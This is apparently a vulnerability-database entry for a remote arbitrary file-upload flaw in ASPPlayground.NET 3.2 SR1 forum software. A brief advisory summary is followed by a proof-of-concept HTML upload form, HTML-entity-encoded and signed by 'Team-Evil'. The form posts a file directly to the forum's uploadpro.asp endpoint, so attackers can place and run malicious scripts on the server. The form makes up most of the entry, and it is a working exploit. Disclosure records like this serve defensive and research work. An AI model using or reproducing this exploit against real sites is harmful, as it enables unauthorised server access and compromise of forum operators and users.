ASPPlayground.NET 3.2 SR1 Remote Arbitrary File Upload Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

ASPPlayground.NET 3.2 SR1 Remote Arbitrary File Upload Vulnerabilit


                                                source: http://www.securityfocus.com/bid/14070/info

ASPPlayground.NET is prone to a remote arbitrary file-upload vulnerability.

Exploiting this issue may allow remote attackers to upload arbitrary files including malicious scripts and possibly execute the scripts the affected server.

This issue can ultimately help attackers gain unauthorized access in the context of the webserver. 

http://www.example.com/forum/uploadpro.asp?memori=&deletefile=&mode=

refer to

http://www.example.com/forum/post.asp

*

ASP Playground html bug :
___________________________

&#60;html&#62;
&#60;head&#62;
&#60;title&#62;ASP Playground Version beta 3.2 SR1 upload Arbitrary Files
&#60;/title&#62;

&#60;/table&#62;
&#60;br&#62;
&#60;table width=&#34;98%&#34; border=&#34;0&#34; cellspacing=&#34;0&#34; cellpadding=&#34;0&#34;&#62;

&#60;form method=&#34;POST&#34; action=&#34;http://www.example.com/forum/uploadpro.asp?

memori=&deletefile=&mode=&#34; enctype=&#34;multipart/form-data&#34;

onSubmit=&#34;return respondToUploader(this)&#34;&#62;
&#60;tr&#62;
&#60;td bgcolor=&#34;8d5a18&#34;&#62;
&#60;table width=&#34;100%&#34; border=&#34;0&#34; cellspacing=&#34;1&#34;

cellpadding=&#34;4&#34;&#62;
&#60;tr&#62;
&#60;td bgcolor=&#34;f8fff3&#34;&#62;
upload&#60;br&#62;
&#60;input type=&#34;file&#34; name=&#34;File1&#34; size=&#34;22&#34;&#62;
&#60;/td&#62;
&#60;/tr&#62;
&#60;/table&#62;
&#60;/td&#62;
&#60;/tr&#62;
&#60;tr&#62;
&#60;td&#62;
&#60;hr size=&#34;1&#34; noshade&#62;
&#60;/td&#62;
&#60;/tr&#62;
&#60;tr&#62;
&#60;td align=&#34;right&#34;&#62;
&#60;input type=&#34;submit&#34; name=&#34;submit&#34; value=&#34;upload&#34;&#62;

&#60;/td&#62;
&#60;/tr&#62;
&#60;/form&#62;

&#60;/table&#62;
&#60;/body&#62;
&#60;center&#62;&#60;b&#62;pOWERED By Team-Evil [email protected]
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1